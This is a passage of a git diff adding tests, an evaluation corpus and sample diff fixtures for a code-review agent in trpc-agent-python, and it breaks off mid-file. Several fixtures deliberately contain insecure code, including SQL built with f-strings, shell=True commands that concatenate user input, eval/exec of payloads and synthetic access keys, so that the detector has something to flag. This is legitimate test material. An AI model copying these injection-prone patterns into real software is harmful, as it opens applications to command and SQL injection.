cleanup(self, **_arguments: Any) -> None: + """fake failure runtime 不保留资源,保证 finally 路径可稳定验证。""" + + +def _db_url(path: Path) -> str: + """构造每条 fixture 独占的临时 SQLite URL,避免写入业务数据库。""" + + return f"sqlite+pysqlite:///{path.as_posix()}" + + +def _fixture_payload(name: str) -> FixturePayload: + """读取公开 unified diff 数据,保持 fixture 的 diff 载荷语义不变。""" + + return FixturePayload( + payload_type="diff", + diff_text=(FIXTURE_DIR / f"{name}.diff").read_text(encoding="utf-8"), + ) + + +@pytest.mark.parametrize( + "fixture_name", + COMPLEX_FIXTURE_NAMES, + ids=COMPLEX_FIXTURE_NAMES, +) +def test_complex_fixtures_have_multi_file_engineering_scale(fixture_name: str) -> None: + """验证每条 complex diff 都有双文件及 60–150 行新增代码,而不是无意义短样例。""" + + fixture_path = FIXTURE_DIR / f"{fixture_name}.diff" + assert fixture_path.is_file() + diff_text = fixture_path.read_text(encoding="utf-8") + added_code_lines = [ + line[1:] + for line in diff_text.splitlines() + if line.startswith("+") and not line.startswith("+++") + ] + added_code_lines = [ + line + for line in added_code_lines + if line.strip() and not line.lstrip().startswith("#") + ] + assert 60 <= len(added_code_lines) <= 150 + assert diff_text.count("diff --git ") >= 2 + + +def _run_fixture(name: str, tmp_path: Path) -> tuple[dict[str, Any], SqlReviewStore, Path]: + """经唯一 ReviewPipeline 执行一条 fixture,并返回 canonical 报告、存储和输出目录。""" + + output_dir = tmp_path / "reports" + store = SqlReviewStore(_db_url(tmp_path / "review.db")) + fixture_case = _fixture_case(name) + sandbox: Any + if fixture_case == "07_sandbox_failure": + sandbox = _FailedFixtureSandbox() + else: + sandbox = _FixtureRuleSandbox( + expose_secret_in_stdout=fixture_case == "08_secret_redaction", + ) + pipeline = ReviewPipeline( + store=store, + governance=_AllowFixtureGovernance(), + sandbox=sandbox, + output_dir=output_dir, + task_id_factory=lambda: f"fixture-{name}", + ) + result = pipeline.run(fixture=_fixture_payload(name)) + return result.report, store, output_dir + + +def _cli_environment() -> dict[str, str]: + """构造不携带模型凭据的 CLI 子进程环境,避免测试触达真实模型配置。""" + + environment = os.environ.copy() + for variable in tuple(environment): + if "API_KEY" in variable or "TOKEN" in variable or "PASSWORD" in variable: + environment.pop(variable) + return environment + + +def _run_cli_fixture(name: str, tmp_path: Path) -> tuple[dict[str, Any], SqlReviewStore, Path]: + """通过公开 CLI 运行真实 local Skill,并返回 canonical 报告、临时 SQLite store 和输出目录。""" + + output_dir = tmp_path / "reports" + database = tmp_path / "review.db" + completed = subprocess.run( + [ + sys.executable, + str(PROJECT_ROOT / "run_agent.py"), + "review", + "--fixture", + name, + "--sandbox", + "local", + "--dry-run", + "--db-url", + _db_url(database), + "--output-dir", + str(output_dir), + ], + cwd=tmp_path, + env=_cli_environment(), + check=False, + capture_output=True, + encoding="utf-8", + text=True, + timeout=120, + ) + assert completed.returncode == 0, completed.stderr + result = json.loads(completed.stdout) + report = json.loads((output_dir / "review_report.json").read_text(encoding="utf-8")) + assert result["task_id"] == report["task_id"] + store = SqlReviewStore(_db_url(database)) + store.initialize() + return report, store, output_dir + + +@pytest.mark.parametrize("fixture_name", LEGACY_FIXTURE_NAMES, ids=LEGACY_FIXTURE_NAMES) +def test_legacy_fixture_names_are_rejected_by_cli(fixture_name: str, tmp_path: Path) -> None: + """验证旧的无后缀 fixture 名称不能作为 CLI 别名继续使用。""" + + completed = subprocess.run( + [ + sys.executable, + str(PROJECT_ROOT / "run_agent.py"), + "review", + "--fixture", + fixture_name, + "--sandbox", + "local", + "--dry-run", + "--db-url", + _db_url(tmp_path / "review.db"), + "--output-dir", + str(tmp_path / "reports"), + ], + cwd=tmp_path, + env=_cli_environment(), + check=False, + capture_output=True, + encoding="utf-8", + text=True, + timeout=120, + ) + + assert completed.returncode == 2 + + +def _assert_common_fixture_outputs( + report: dict[str, Any], + store: SqlReviewStore, + output_dir: Path, +) -> dict[str, Any]: + """断言每条 fixture 都生成同源 JSON、Markdown 与五域可查询数据库 bundle。""" + + json_path = output_dir / "review_report.json" + markdown_path = output_dir / "review_report.md" + bundle = store.get_task_bundle(report["task_id"]) + assert json_path.is_file() + assert markdown_path.is_file() + assert json.loads(json_path.read_text(encoding="utf-8")) == report + assert report["task_id"] in markdown_path.read_text(encoding="utf-8") + assert bundle is not None + assert bundle["task"]["id"] == report["task_id"] + assert len(bundle["sandbox_runs"]) == 1 + assert len(bundle["filter_events"]) == 1 + assert bundle["report"] is not None + return bundle + + +def _assert_complex_results(report: dict[str, Any], fixture_name: str) -> None: + """验证 complex 样例经任一公开链路后的规则、行号与分桶完全一致。""" + + fixture_case = _fixture_case(fixture_name) + actual_results = { + (finding["rule_id"], finding["line"], bucket) + for bucket in ("findings", "needs_human_review") + for finding in report[bucket] + } + assert actual_results == _REALISTIC_EXPECTED_RESULTS[fixture_case] + if fixture_case == "06_duplicate_finding": + assert report["findings"][0]["extra"]["also_matched"] + + +@pytest.mark.parametrize("fixture_name", FIXTURE_NAMES, ids=FIXTURE_NAMES) +def test_public_fixtures_generate_expected_reports_and_bundles( + fixture_name: str, + tmp_path: Path, +) -> None: + """验证八组 simple/complex fixture 的类别、桶和完整交付契约。""" + + report, store, output_dir = _run_fixture(fixture_name, tmp_path) + try: + bundle = _assert_common_fixture_outputs(report, store, output_dir) + fixture_case = _fixture_case(fixture_name) + categories = {finding["category"] for finding in report["findings"]} + reviewed_categories = categories | { + finding["category"] for finding in report["needs_human_review"] + } + if fixture_name in COMPLEX_FIXTURE_NAMES: + _assert_complex_results(report, fixture_name) + + if fixture_case == "01_clean": + assert report["findings"] == [] + assert report["needs_human_review"] == [] + elif fixture_case == "02_security": + security = [finding for finding in report["findings"] if finding["category"] == "security"] + assert len(security) >= 2 + assert {finding["severity"] for finding in security} <= {"high", "critical"} + elif fixture_case == "03_async_leak": + assert {"async-errors", "resource-leak"} <= reviewed_categories + assert "resource-leak" in { + finding["category"] for finding in report["needs_human_review"] + } + elif fixture_case == "04_db_lifecycle": + lifecycle_findings = [ + finding + for finding in [*report["findings"], *report["needs_human_review"]] + if finding["category"] == "db-lifecycle" + ] + assert "db-lifecycle" in reviewed_categories + assert len(lifecycle_findings) >= 2 + elif fixture_case == "05_missing_tests": + assert report["findings"] == [] + assert {finding["category"] for finding in report["needs_human_review"]} == {"missing-tests"} + elif fixture_case == "06_duplicate_finding": + security = [finding for finding in report["findings"] if finding["category"] == "security"] + assert len(security) == 1 + assert security[0]["extra"]["also_matched"] + elif fixture_case == "07_sandbox_failure": + assert report["status"] == "completed_with_warnings" + assert report["findings"] == [] + assert bundle["sandbox_runs"][0]["status"] == "failed" + assert "sandbox_failed" in {warning["code"] for warning in report["warnings"]} + elif fixture_case == "08_secret_redaction": + secret_findings = [finding for finding in report["findings"] if finding["category"] == "secrets"] + serialized_outputs = "\n".join( + ( + json.dumps(report, ensure_ascii=False, sort_keys=True), + json.dumps(bundle, ensure_ascii=False, sort_keys=True), + (output_dir / "review_report.json").read_text(encoding="utf-8"), + (output_dir / "review_report.md").read_text(encoding="utf-8"), + ) + ) + database_text = (tmp_path / "review.db").read_bytes().decode( + "utf-8", + errors="ignore", + ) + assert len(secret_findings) >= 3 + assert all(finding["line"] not in {4, 5} for finding in secret_findings) + assert not contains_plaintext_secret(serialized_outputs) + assert all(secret not in serialized_outputs for secret in _SYNTHETIC_SECRETS) + assert all(secret not in database_text for secret in _SYNTHETIC_SECRETS) + finally: + store.close() + + +@pytest.mark.parametrize("fixture_name", _CLI_FIXTURE_NAMES, ids=_CLI_FIXTURE_NAMES) +def test_public_fixtures_run_through_cli_with_real_local_skill( + fixture_name: str, + tmp_path: Path, +) -> None: + """验证十四条非故障 fixture 从 CLI 到真实 Skill 与持久化的完整闭环。""" + + report, store, output_dir = _run_cli_fixture(fixture_name, tmp_path) + try: + bundle = _assert_common_fixture_outputs(report, store, output_dir) + fixture_case = _fixture_case(fixture_name) + all_categories = { + finding["category"] + for finding in [*report["findings"], *report["needs_human_review"]] + } + + assert report["status"] in {"completed", "completed_with_warnings"} + if fixture_name in COMPLEX_FIXTURE_NAMES: + _assert_complex_results(report, fixture_name) + if fixture_case == "01_clean": + assert not report["findings"] + elif fixture_case == "02_security": + assert sum(finding["category"] == "security" for finding in report["findings"]) >= 2 + elif fixture_case == "03_async_leak": + assert {"async-errors", "resource-leak"} <= all_categories + elif fixture_case == "04_db_lifecycle": + assert "db-lifecycle" in all_categories + elif fixture_case == "05_missing_tests": + assert "missing-tests" in all_categories + elif fixture_case == "06_duplicate_finding": + security = [finding for finding in report["findings"] if finding["category"] == "security"] + assert len(security) == 1 + elif fixture_case == "08_secret_redaction": + assert "secrets" in all_categories + assert not contains_plaintext_secret(json.dumps(bundle, ensure_ascii=False, sort_keys=True)) + finally: + store.close() diff --git a/examples/skills_code_review_agent/tests/e2e/test_release_docs.py b/examples/skills_code_review_agent/tests/e2e/test_release_docs.py new file mode 100644 index 000000000..860f17b57 --- /dev/null +++ b/examples/skills_code_review_agent/tests/e2e/test_release_docs.py @@ -0,0 +1,199 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""End-to-end checks for the user-facing release documentation contract.""" + +from __future__ import annotations + +import re +from pathlib import Path + + +PROJECT_ROOT = Path(__file__).resolve().parents[2] +MARKDOWN_LINK_PATTERN = re.compile(r"\[[^\]]+\]\(([^)]+)\)") + + +def _local_markdown_targets(document_path: Path) -> list[Path]: + """提取 Markdown 中的本地链接并解析为可验证的绝对路径。""" + + document = document_path.read_text(encoding="utf-8") + targets: list[Path] = [] + for raw_target in MARKDOWN_LINK_PATTERN.findall(document): + target = raw_target.strip("<>").split("#", maxsplit=1)[0] + if not target or target.startswith(("http://", "https://", "mailto:")): + continue + targets.append((document_path.parent / target).resolve()) + return targets + + +def test_release_docs_cover_usage_safety_design_risks_and_acceptance() -> None: + """验证 README 与设计说明覆盖 E2 约定的可执行使用、安全和验收信息。""" + + readme = (PROJECT_ROOT / "README.md").read_text(encoding="utf-8") + design = (PROJECT_ROOT / "DESIGN.md").read_text(encoding="utf-8") + design_statement = design.split("## 方案设计说明", maxsplit=1)[1].split( + "## 规格与交付范围", + maxsplit=1, + )[0] + chinese_character_count = sum("\u4e00" <= character <= "\u9fff" for character in design_statement) + + required_readme_terms = ( + "## 规格依据", + "DEV_SPEC.md", + "## 交付物总览", + "OPERATIONS.md", + ".env.example", + ".venv/bin/python", + "skills/code-review/SKILL.md", + "code_review/store/models.py", + "tests/fixtures/diffs/", + "sample_output/review_report.json", + "--diff-file", + "--repo-path", + "--files", + "--fixture", + "--dry-run", + "--model-mode real", + "user-query", + "--log-level INFO", + "report_files", + "TRPC_AGENT_API_KEY", + "TRPC_AGENT_BASE_URL", + "TRPC_AGENT_MODEL_NAME", + "skills/code-review/scripts/manifest.json", + "--sandbox local", + "1 MiB", + "2 MiB", + "公开代理", + "不证明", + ) + required_design_topics = ( + "## 规格与交付范围", + "DEV_SPEC.md", + "## 交付物与架构映射", + "OPERATIONS.md", + "user-query", + "--log-level INFO", + "Bash", + "Skill", + "沙箱", + "Filter", + "监控", + "数据库", + "去重", + "脱敏", + "安全边界", + ) + + assert all(term in readme for term in required_readme_terms) + assert all(term in design for term in required_design_topics) + assert "不能替代官方隐藏样本验收" in readme + assert "不证明" in readme + assert "官方隐藏样本待官方验收" in design + assert 300 <= chinese_character_count <= 500 + assert design.count("|") >= 24 + assert all(f"AC{number}" in readme for number in range(1, 9)) + assert all(f"AC{number}" in design for number in range(1, 9)) + + +def test_release_docs_local_links_resolve() -> None: + """验证 README 与设计说明中的本地交付物链接都指向真实文件或目录。""" + + document_paths = (PROJECT_ROOT / "README.md", PROJECT_ROOT / "DESIGN.md") + local_targets = [ + target + for document_path in document_paths + for target in _local_markdown_targets(document_path) + ] + + assert local_targets + assert all(target.exists() for target in local_targets) + + +def test_readme_is_primary_and_operations_is_a_detailed_supplement() -> None: + """验证 README 完整呈现验收入口,同时将命令矩阵和排障细节委托给维护手册。""" + + readme = (PROJECT_ROOT / "README.md").read_text(encoding="utf-8") + operations = (PROJECT_ROOT / "OPERATIONS.md").read_text(encoding="utf-8") + + required_readme_sections = ( + "## 验收标准与当前证据", + "## 环境与快速开始", + "## 四种输入与运行模式", + "## 运行结果与报告定位", + "## 最小验证命令", + "## 2026-07-28 独立 Agent 实测基准", + "## 文档导航", + "## 适用场景建议", + ) + required_acceptance_rows = ( + "| AC1 | 8 条公开 diff", + "| AC2 | 隐藏样本上高危问题检出率 ≥ 80%,误报率 ≤ 15%", + "| AC3 | 数据库完整记录 task、sandbox run、finding 和 report", + "| AC4 | 沙箱执行具备超时和输出大小限制", + "| AC5 | 敏感信息脱敏检出率 ≥ 95%", + "| AC6 | dry-run / fake model 模式下完整评审流程耗时 ≤ 2 分钟", + "| AC7 | 高风险脚本必须先经过 Filter;deny / needs_human_review", + "| AC8 | 报告包含 findings 摘要、严重级别统计、人工复核项", + ) + + assert all(section in readme for section in required_readme_sections) + assert all(row in readme for row in required_acceptance_rows) + assert "不能替代官方隐藏样本验收" in readme + assert "不证明" in readme + assert "[`README.md`](README.md)" in operations + assert "是项目主入口" in operations + assert "详细维护与 PR 验收补充" in operations + assert "review_fixture 02_security_simple agent" not in operations + + +def test_release_docs_explicitly_mark_cube_as_unavailable() -> None: + """锁定 Cube/E2B 尚未接入 CLI runtime factory 的文档边界,避免把预留枚举误当作可运行后端。""" + + readme = (PROJECT_ROOT / "README.md").read_text(encoding="utf-8") + operations = (PROJECT_ROOT / "OPERATIONS.md").read_text(encoding="utf-8") + design = (PROJECT_ROOT / "DESIGN.md").read_text(encoding="utf-8") + + assert "当前示例不支持,不能用于评审" in readme + assert "未注入 Cube/E2B runtime factory" in readme + assert "Cube/E2B 当前不可用,不是可执行示例" in operations + assert "配置错误(退出码 2)" in operations + assert "请使用 `container` 或显式 `local`" in operations + assert "CLI 尚未注入 `cube_runtime_factory`" in design + assert "--sandbox cube --dry-run" not in operations + + +def test_readme_contains_a_sanitized_real_agent_container_trace_example() -> None: + """验证 README 给出真实模型与容器链路的脱敏预期终端输出。""" + + readme = (PROJECT_ROOT / "README.md").read_text(encoding="utf-8") + required_trace_terms = ( + "### 真实模型 + Container 的预期终端输出", + "--model-mode real", + "--sandbox container", + "Container started: container_id=", + '"tool": "skill_load"', + '"tool": "skill_run"', + '"action": "allow"', + '"event": "pipeline.sandbox_finished"', + '"entrypoint": "agent"', + '"skill_tools": ["skill_load", "skill_run"]', + '"task_id": ""', + '"json": "/review_report.json"', + "review_real_trace", + "review_report.json", + ) + + assert all(term in readme for term in required_trace_terms) + trace_example = readme.split( + "### 真实模型 + Container 的预期终端输出", + maxsplit=1, + )[1].split("## 四种输入与运行模式", maxsplit=1)[0] + assert re.search(r"container_id=[0-9a-f]{64}", trace_example) is None + assert re.search(r'"task_id": "review-[0-9a-f]{32}"', trace_example) is None + assert re.search(r"[A-Za-z]:\\\\", trace_example) is None diff --git a/examples/skills_code_review_agent/tests/fixtures/corpus/.gitkeep b/examples/skills_code_review_agent/tests/fixtures/corpus/.gitkeep new file mode 100644 index 000000000..8b1378917 --- /dev/null +++ b/examples/skills_code_review_agent/tests/fixtures/corpus/.gitkeep @@ -0,0 +1 @@ + diff --git a/examples/skills_code_review_agent/tests/fixtures/corpus/blind_spot_observations.json b/examples/skills_code_review_agent/tests/fixtures/corpus/blind_spot_observations.json new file mode 100644 index 000000000..7ec990b13 --- /dev/null +++ b/examples/skills_code_review_agent/tests/fixtures/corpus/blind_spot_observations.json @@ -0,0 +1,10 @@ +{ + "schema_version": "1.0.0", + "description": "Observed blind spots are deliberately excluded from AC2 proxy denominators.", + "cases": [ + {"id": "split_secret", "lines": ["key = 'AKIA' + suffix"]}, + {"id": "dynamic_secret", "lines": ["token = os.environ.get('TOKEN')"]}, + {"id": "cross_function_resource", "lines": ["def create():", " return open('data.txt')", "def close(handle):", " handle.close()"]}, + {"id": "nonstandard_test_directory", "lines": ["def test_feature():", " assert True"]} + ] +} diff --git a/examples/skills_code_review_agent/tests/fixtures/corpus/evaluation_corpus.json b/examples/skills_code_review_agent/tests/fixtures/corpus/evaluation_corpus.json new file mode 100644 index 000000000..59e061b0a --- /dev/null +++ b/examples/skills_code_review_agent/tests/fixtures/corpus/evaluation_corpus.json @@ -0,0 +1,43 @@ +{ + "schema_version": "1.0.0", + "description": "Public deterministic proxy corpus. It is evidence for AC2 only, not a substitute for hidden samples.", + "positive_templates": [ + {"id": "shell_true", "copies": 3, "lines": ["import subprocess", "subprocess.run('echo ok', shell=True)"], "line": 2, "category": "security", "scored": true}, + {"id": "dynamic_eval", "copies": 2, "lines": ["value = eval(payload)"], "line": 1, "category": "security", "scored": true}, + {"id": "dynamic_exec", "copies": 2, "lines": ["exec(payload)"], "line": 1, "category": "security", "scored": true}, + {"id": "sql_fstring", "copies": 2, "lines": ["query = f\"SELECT * FROM users WHERE name = {name}\""], "line": 1, "category": "security", "scored": true}, + {"id": "async_blocking", "copies": 3, "lines": ["async def fetch():", " time.sleep(1)"], "line": 2, "category": "async-errors", "scored": true}, + {"id": "resource_open", "copies": 2, "lines": ["handle = open('data.txt')"], "line": 1, "category": "resource-leak", "scored": false}, + {"id": "transaction", "copies": 2, "lines": ["transaction = session.begin()"], "line": 1, "category": "db-lifecycle", "scored": true}, + {"id": "connection", "copies": 1, "lines": ["conn = sqlite3.connect('audit.db')"], "line": 1, "category": "db-lifecycle", "scored": false}, + {"id": "missing_test", "copies": 1, "lines": ["def changed_feature():", " return 1"], "line": 1, "category": "missing-tests", "scored": false}, + {"id": "secret", "copies": 2, "lines": ["access_key = 'AKIA0000000000000000'"], "line": 1, "category": "secrets", "scored": true} + ], + "clean_cases": [ + ["value = 1"], + ["result = subprocess.run(['echo', 'ok'], check=True)"], + ["query = 'SELECT * FROM users'"], + ["async def fetch():", " await asyncio.sleep(1)"], + ["with open('data.txt') as handle:", " return handle.read()"], + ["conn = sqlite3.connect('audit.db')", "conn.close()"], + ["transaction = session.begin()", "transaction.commit()"], + ["# subprocess.run('echo ok', shell=True)"], + ["password = 'example'"], + ["token = 'your-token-here'"] + ], + "secret_case_count": 48, + "benign_secret_values": [ + "example", "redacted", "changeme", "your-token-here", "your_github_token_here", + "api-key", "token", "example-api-key", "[REDACTED:token]", "your-api-key" + ], + "boundary_cases": [ + {"id": "changed_lines_diff", "payload": "unified_diff", "expectation": "changed-lines only"}, + {"id": "full_file_snapshot", "payload": "files_snapshot", "expectation": "full-file scope"}, + {"id": "fixture_payload_type", "payload": "fixture_diff", "expectation": "payload retained"}, + {"id": "incomplete_hunk", "payload": "unified_diff", "expectation": "parser warning or stable failure"}, + {"id": "binary_rename", "payload": "unified_diff", "expectation": "binary and rename metadata"}, + {"id": "zero_zero_coordinates", "payload": "unified_diff", "expectation": "added and deleted 0,0 coordinates"}, + {"id": "context_line_mapping", "payload": "unified_diff", "expectation": "context old-to-new map only"}, + {"id": "deleted_side_secret", "payload": "unified_diff", "expectation": "real old line and old side"} + ] +} diff --git a/examples/skills_code_review_agent/tests/fixtures/diffs/.gitkeep b/examples/skills_code_review_agent/tests/fixtures/diffs/.gitkeep new file mode 100644 index 000000000..8b1378917 --- /dev/null +++ b/examples/skills_code_review_agent/tests/fixtures/diffs/.gitkeep @@ -0,0 +1 @@ + diff --git a/examples/skills_code_review_agent/tests/fixtures/diffs/01_clean_complex.diff b/examples/skills_code_review_agent/tests/fixtures/diffs/01_clean_complex.diff new file mode 100644 index 000000000..72f6faa3e --- /dev/null +++ b/examples/skills_code_review_agent/tests/fixtures/diffs/01_clean_complex.diff @@ -0,0 +1,93 @@ +diff --git a/src/order_summary.py b/src/order_summary.py +new file mode 100644 +--- /dev/null ++++ b/src/order_summary.py +@@ -0,0 +1,47 @@ ++from __future__ import annotations ++ ++from dataclasses import dataclass ++from decimal import Decimal ++from typing import Iterable ++ ++ ++@dataclass(frozen=True) ++class LineItem: ++ sku: str ++ quantity: int ++ unit_price: Decimal ++ ++ @property ++ def subtotal(self) -> Decimal: ++ return self.unit_price * self.quantity ++ ++ ++@dataclass(frozen=True) ++class OrderSummary: ++ subtotal: Decimal ++ discount: Decimal ++ tax: Decimal ++ total: Decimal ++ ++ ++def _validated_items(items: Iterable[LineItem]) -> tuple[LineItem, ...]: ++ materialized = tuple(items) ++ if any(item.quantity <= 0 for item in materialized): ++ raise ValueError("quantity must be positive") ++ if any(item.unit_price < 0 for item in materialized): ++ raise ValueError("unit price must not be negative") ++ return materialized ++ ++ ++def summarize_order( ++ items: Iterable[LineItem], ++ *, ++ discount_rate: Decimal = Decimal("0"), ++ tax_rate: Decimal = Decimal("0"), ++) -> OrderSummary: ++ validated = _validated_items(items) ++ subtotal = sum((item.subtotal for item in validated), Decimal("0")) ++ discount = (subtotal * discount_rate).quantize(Decimal("0.01")) ++ taxable = subtotal - discount ++ tax = (taxable * tax_rate).quantize(Decimal("0.01")) ++ return OrderSummary(subtotal, discount, tax, taxable + tax) +diff --git a/tests/test_order_summary.py b/tests/test_order_summary.py +new file mode 100644 +--- /dev/null ++++ b/tests/test_order_summary.py +@@ -0,0 +1,35 @@ ++from decimal import Decimal ++ ++import pytest ++ ++from src.order_summary import LineItem, summarize_order ++ ++ ++def test_summarize_order_applies_discount_before_tax(): ++ items = [ ++ LineItem("book", 2, Decimal("12.50")), ++ LineItem("pen", 1, Decimal("5.00")), ++ ] ++ ++ summary = summarize_order( ++ items, ++ discount_rate=Decimal("0.10"), ++ tax_rate=Decimal("0.05"), ++ ) ++ ++ assert summary.subtotal == Decimal("30.00") ++ assert summary.discount == Decimal("3.00") ++ assert summary.tax == Decimal("1.35") ++ assert summary.total == Decimal("28.35") ++ ++ ++def test_summarize_order_rejects_non_positive_quantity(): ++ with pytest.raises(ValueError, match="quantity"): ++ summarize_order([LineItem("book", 0, Decimal("12.50"))]) ++ ++ ++def test_summarize_order_accepts_empty_order(): ++ summary = summarize_order([]) ++ ++ assert summary.subtotal == Decimal("0") ++ assert summary.discount == Decimal("0.00") ++ assert summary.total == Decimal("0.00") diff --git a/examples/skills_code_review_agent/tests/fixtures/diffs/01_clean_simple.diff b/examples/skills_code_review_agent/tests/fixtures/diffs/01_clean_simple.diff new file mode 100644 index 000000000..2d75a083a --- /dev/null +++ b/examples/skills_code_review_agent/tests/fixtures/diffs/01_clean_simple.diff @@ -0,0 +1,14 @@ +diff --git a/src/math_tools.py b/src/math_tools.py +new file mode 100644 +--- /dev/null ++++ b/src/math_tools.py +@@ -0,0 +1,2 @@ ++def add(left, right): ++ return left + right +diff --git a/tests/test_math_tools.py b/tests/test_math_tools.py +new file mode 100644 +--- /dev/null ++++ b/tests/test_math_tools.py +@@ -0,0 +1,2 @@ ++def test_add(): ++ assert 1 + 2 == 3 diff --git a/examples/skills_code_review_agent/tests/fixtures/diffs/02_security_complex.diff b/examples/skills_code_review_agent/tests/fixtures/diffs/02_security_complex.diff new file mode 100644 index 000000000..793ccaff4 --- /dev/null +++ b/examples/skills_code_review_agent/tests/fixtures/diffs/02_security_complex.diff @@ -0,0 +1,103 @@ +diff --git a/src/account_export.py b/src/account_export.py +new file mode 100644 +--- /dev/null ++++ b/src/account_export.py +@@ -0,0 +1,69 @@ ++from __future__ import annotations ++ ++import subprocess ++from dataclasses import dataclass ++from pathlib import Path ++from typing import Any, Iterable ++ ++ ++@dataclass(frozen=True) ++class ExportRequest: ++ account_id: str ++ output_directory: Path ++ include_disabled: bool = False ++ ++ ++def load_account_safely(cursor: Any, account_id: str) -> dict[str, Any] | None: ++ cursor.execute( ++ "SELECT id, email, disabled FROM accounts WHERE id = ?", ++ (account_id,), ++ ) ++ row = cursor.fetchone() ++ if row is None: ++ return None ++ return {"id": row[0], "email": row[1], "disabled": bool(row[2])} ++ ++ ++def list_repository_files(repository: Path) -> tuple[str, ...]: ++ completed = subprocess.run( ++ ["git", "-C", str(repository), "ls-files"], ++ check=True, ++ capture_output=True, ++ text=True, ++ ) ++ return tuple(line for line in completed.stdout.splitlines() if line) ++ ++ ++def _normalized_ids(account_ids: Iterable[str]) -> tuple[str, ...]: ++ return tuple( ++ account_id.strip() ++ for account_id in account_ids ++ if account_id and account_id.strip() ++ ) ++ ++ ++def load_accounts(cursor: Any, account_ids: Iterable[str]) -> list[dict[str, Any]]: ++ results = [] ++ for account_id in _normalized_ids(account_ids): ++ account = load_account_safely(cursor, account_id) ++ if account is not None: ++ results.append(account) ++ return results ++ ++ ++def load_account_unsafely(cursor: Any, account_id: str) -> Any: ++ cursor.execute(f"SELECT * FROM accounts WHERE id = {account_id}") ++ return cursor.fetchone() ++ ++ ++def publish_export(request: ExportRequest, archive_name: str) -> None: ++ command = f"upload-report {request.output_directory / archive_name}" ++ subprocess.run(command, shell=True, check=True) ++ ++ ++def security_documentation() -> str: ++ return "Never copy examples such as eval(user_input) or shell=True into production." ++ ++ ++# This comment mentions os.system(command), but comments are not executable code. ++DEFAULT_EXPORT_COLUMNS = ("id", "email", "disabled") +diff --git a/tests/test_account_export.py b/tests/test_account_export.py +new file mode 100644 +--- /dev/null ++++ b/tests/test_account_export.py +@@ -0,0 +1,24 @@ ++from pathlib import Path ++ ++from src.account_export import ExportRequest, _normalized_ids ++ ++ ++def test_normalized_ids_removes_empty_values(): ++ assert _normalized_ids([" account-1 ", "", "account-2"]) == ( ++ "account-1", ++ "account-2", ++ ) ++ ++ ++def test_export_request_defaults_to_enabled_accounts(): ++ request = ExportRequest( ++ account_id="account-1", ++ output_directory=Path("exports"), ++ ) ++ ++ assert request.include_disabled is False ++ assert request.output_directory == Path("exports") ++ ++ ++def test_normalized_ids_preserves_order(): ++ assert _normalized_ids(["b", "a", "b"]) == ("b", "a", "b") diff --git a/examples/skills_code_review_agent/tests/fixtures/diffs/02_security_simple.diff b/examples/skills_code_review_agent/tests/fixtures/diffs/02_security_simple.diff new file mode 100644 index 000000000..73053974d --- /dev/null +++ b/examples/skills_code_review_agent/tests/fixtures/diffs/02_security_simple.diff @@ -0,0 +1,18 @@ +diff --git a/src/query.py b/src/query.py +new file mode 100644 +--- /dev/null ++++ b/src/query.py +@@ -0,0 +1,6 @@ ++import subprocess ++ ++def find_user(cursor, user_id): ++ cursor.execute(f"SELECT * FROM users WHERE id = {user_id}") ++ subprocess.run("echo " + user_id, shell=True) ++ return user_id +diff --git a/tests/test_query.py b/tests/test_query.py +new file mode 100644 +--- /dev/null ++++ b/tests/test_query.py +@@ -0,0 +1,2 @@ ++def test_find_user_contract(): ++ assert True diff --git a/examples/skills_code_review_agent/tests/fixtures/diffs/03_async_leak_complex.diff b/examples/skills_code_review_agent/tests/fixtures/diffs/03_async_leak_complex.diff new file mode 100644 index 000000000..5db26c8ae --- /dev/null +++ b/examples/skills_code_review_agent/tests/fixtures/diffs/03_async_leak_complex.diff @@ -0,0 +1,96 @@ +diff --git a/src/refresh_service.py b/src/refresh_service.py +new file mode 100644 +--- /dev/null ++++ b/src/refresh_service.py +@@ -0,0 +1,63 @@ ++from __future__ import annotations ++ ++import asyncio ++import time ++from dataclasses import dataclass ++from typing import Any ++ ++import aiohttp ++ ++ ++@dataclass(frozen=True) ++class RefreshResult: ++ resource_id: str ++ status: int ++ payload: dict[str, Any] ++ ++ ++async def fetch_payload(session: aiohttp.ClientSession, url: str) -> dict[str, Any]: ++ async with session.get(url) as response: ++ response.raise_for_status() ++ return await response.json() ++ ++ ++async def refresh_managed(resource_id: str, base_url: str) -> RefreshResult: ++ async with aiohttp.ClientSession() as managed_session: ++ payload = await fetch_payload( ++ managed_session, ++ f"{base_url}/resources/{resource_id}", ++ ) ++ await asyncio.sleep(0.01) ++ return RefreshResult(resource_id, 200, payload) ++ ++ ++async def persist_snapshot(result: RefreshResult) -> None: ++ await asyncio.sleep(0) ++ if not result.resource_id: ++ raise ValueError("resource id is required") ++ ++ ++async def refresh_with_leak(resource_id: str, base_url: str) -> RefreshResult: ++ leaked_session = aiohttp.ClientSession() ++ time.sleep(1) ++ payload = await fetch_payload( ++ leaked_session, ++ f"{base_url}/resources/{resource_id}", ++ ) ++ result = RefreshResult(resource_id, 200, payload) ++ persist_snapshot(result) ++ return result ++ ++ ++async def refresh_many(resource_ids: list[str], base_url: str) -> list[RefreshResult]: ++ tasks = [ ++ asyncio.create_task(refresh_managed(resource_id, base_url)) ++ for resource_id in resource_ids ++ ] ++ if not tasks: ++ return [] ++ return list(await asyncio.gather(*tasks)) ++ ++ ++def describe_async_policy() -> str: ++ return "Use await asyncio.sleep and async context managers for owned sessions." +diff --git a/tests/test_refresh_service.py b/tests/test_refresh_service.py +new file mode 100644 +--- /dev/null ++++ b/tests/test_refresh_service.py +@@ -0,0 +1,23 @@ ++import asyncio ++ ++from src.refresh_service import RefreshResult, persist_snapshot ++ ++ ++def test_refresh_result_is_immutable_value_object(): ++ result = RefreshResult("resource-1", 200, {"state": "ready"}) ++ ++ assert result.resource_id == "resource-1" ++ assert result.payload == {"state": "ready"} ++ ++ ++def test_persist_snapshot_accepts_valid_result(): ++ result = RefreshResult("resource-2", 200, {}) ++ ++ asyncio.run(persist_snapshot(result)) ++ ++ ++def test_refresh_result_retains_status(): ++ result = RefreshResult("resource-3", 202, {"queued": True}) ++ ++ assert result.status == 202 ++ assert result.payload == {"queued": True} diff --git a/examples/skills_code_review_agent/tests/fixtures/diffs/03_async_leak_simple.diff b/examples/skills_code_review_agent/tests/fixtures/diffs/03_async_leak_simple.diff new file mode 100644 index 000000000..311b0e00f --- /dev/null +++ b/examples/skills_code_review_agent/tests/fixtures/diffs/03_async_leak_simple.diff @@ -0,0 +1,20 @@ +diff --git a/src/worker.py b/src/worker.py +new file mode 